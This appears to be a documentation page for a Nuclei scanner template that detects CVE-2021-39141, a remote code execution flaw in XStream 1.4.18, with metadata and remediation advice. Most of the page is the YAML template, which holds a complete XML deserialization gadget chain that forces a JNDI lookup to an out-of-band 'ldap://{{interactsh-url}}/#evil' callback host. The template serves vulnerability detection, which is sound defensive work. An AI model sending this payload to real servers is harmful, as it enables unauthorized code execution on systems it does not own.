XStream 1.4.18 - Remote Code Execution
ID: CVE-2021-39141
Severity: high
Author: pwnhxl
Tags: cve,cve2021,xstream,deserialization,rce,xstream_project
Description
Section titled “Description”XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
YAML Source
Section titled “YAML Source”id: CVE-2021-39141
info: name: XStream 1.4.18 - Remote Code Execution author: pwnhxl severity: high description: | XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Upgrade XStream to a version that is not affected by CVE-2021-39141. reference: - http://x-stream.github.io/CVE-2021-39141.html - https://x-stream.github.io/CVE-2021-39141.html - https://github.com/x-stream/xstream/security/advisories/GHSA-g5w6-mrj7-75h2 - https://security.netapp.com/advisory/ntap-20210923-0003/ - https://nvd.nist.gov/vuln/detail/CVE-2021-39141 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 8.5 cve-id: CVE-2021-39141 cwe-id: CWE-434 epss-score: 0.25418 epss-percentile: 0.96584 cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: xstream_project product: xstream tags: cve,cve2021,xstream,deserialization,rce,xstream_project
http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'> <owner/> <managedObjectManagerClosed>false</managedObjectManagerClosed> <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'> <stubHandlers> <entry> <method> <class>java.lang.Comparable</class> <name>compareTo</name> <parameter-types> <class>java.lang.Object</class> </parameter-types> </method> <com.sun.xml.internal.ws.client.sei.StubHandler> <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'> <indices> <int>0</int> </indices> <getters> <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter> </getters> <accessors> <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2> <val_-isJAXBElement>false</val_-isJAXBElement> <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'> <type>int</type> <field> <name>hash</name> <clazz>java.lang.String</clazz> </field> </val_-getter> <val_-isListType>false</val_-isListType> <val_-n> <namespaceURI/> <localPart>hash</localPart> <prefix/> </val_-n> <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'> <type>java.lang.String</type> <method> <class>javax.naming.InitialContext</class> <name>doLookup</name> <parameter-types> <class>java.lang.String</class> </parameter-types> </method> </val_-setter> <outer-class> <propertySetters> <entry> <string>serialPersistentFields</string> <com.sun.xml.internal.ws.spi.db.FieldSetter> <type>[Ljava.io.ObjectStreamField;</type> <field> <name>serialPersistentFields</name> <clazz>java.lang.String</clazz> </field> </com.sun.xml.internal.ws.spi.db.FieldSetter> </entry> <entry> <string>CASE_INSENSITIVE_ORDER</string> <com.sun.xml.internal.ws.spi.db.FieldSetter> <type>java.util.Comparator</type> <field> <name>CASE_INSENSITIVE_ORDER</name> <clazz>java.lang.String</clazz> </field> </com.sun.xml.internal.ws.spi.db.FieldSetter> </entry> <entry> <string>serialVersionUID</string> <com.sun.xml.internal.ws.spi.db.FieldSetter> <type>long</type> <field> <name>serialVersionUID</name> <clazz>java.lang.String</clazz> </field> </com.sun.xml.internal.ws.spi.db.FieldSetter> </entry> <entry> <string>value</string> <com.sun.xml.internal.ws.spi.db.FieldSetter> <type>[C</type> <field> <name>value</name> <clazz>java.lang.String</clazz> </field> </com.sun.xml.internal.ws.spi.db.FieldSetter> </entry> <entry> <string>hash</string> <com.sun.xml.internal.ws.spi.db.FieldSetter> <type>int</type> <field reference='../../../../../val_-getter/field'/> </com.sun.xml.internal.ws.spi.db.FieldSetter> </entry> </propertySetters> <propertyGetters> <entry> <string>serialPersistentFields</string> <com.sun.xml.internal.ws.spi.db.FieldGetter> <type>[Ljava.io.ObjectStreamField;</type> <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/> </com.sun.xml.internal.ws.spi.db.FieldGetter> </entry> <entry> <string>CASE_INSENSITIVE_ORDER</string> <com.sun.xml.internal.ws.spi.db.FieldGetter> <type>java.util.Comparator</type> <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/> </com.sun.xml.internal.ws.spi.db.FieldGetter> </entry> <entry> <string>serialVersionUID</string> <com.sun.xml.internal.ws.spi.db.FieldGetter> <type>long</type> <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/> </com.sun.xml.internal.ws.spi.db.FieldGetter> </entry> <entry> <string>value</string> <com.sun.xml.internal.ws.spi.db.FieldGetter> <type>[C</type> <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/> </com.sun.xml.internal.ws.spi.db.FieldGetter> </entry> <entry> <string>hash</string> <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/> </entry> </propertyGetters> <elementLocalNameCollision>false</elementLocalNameCollision> <contentClass>java.lang.String</contentClass> <elementDeclaredTypes/> </outer-class> </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2> </accessors> <wrapper>java.lang.Object</wrapper> <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/> <dynamicWrapper>false</dynamicWrapper> </bodyBuilder> <isOneWay>false</isOneWay> </com.sun.xml.internal.ws.client.sei.StubHandler> </entry> </stubHandlers> <clientConfig>false</clientConfig> </databinding> <methodHandlers> <entry> <method reference='../../../databinding/stubHandlers/entry/method'/> <com.sun.xml.internal.ws.client.sei.SyncMethodHandler> <owner reference='../../../..'/> <method reference='../../../../databinding/stubHandlers/entry/method'/> <isVoid>false</isVoid> <isOneway>false</isOneway> </com.sun.xml.internal.ws.client.sei.SyncMethodHandler> </entry> </methodHandlers> </handler> </dynamic-proxy> <string>ldap://{{interactsh-url}}/#evil</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns"
- type: word part: body words: - "timestamp" - "com.thoughtworks.xstream" condition: or
- type: word part: header words: - "application/json"
- type: status status: - 500# digest: 490a004630440220051b8bf60799f070ab5320cc84326f2de32f53a73c2f886af20f8766eb2f962202205304acdfb30f58205cebcf483779b53c3702d73080854c13012b170dd8596756:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-39141.yaml"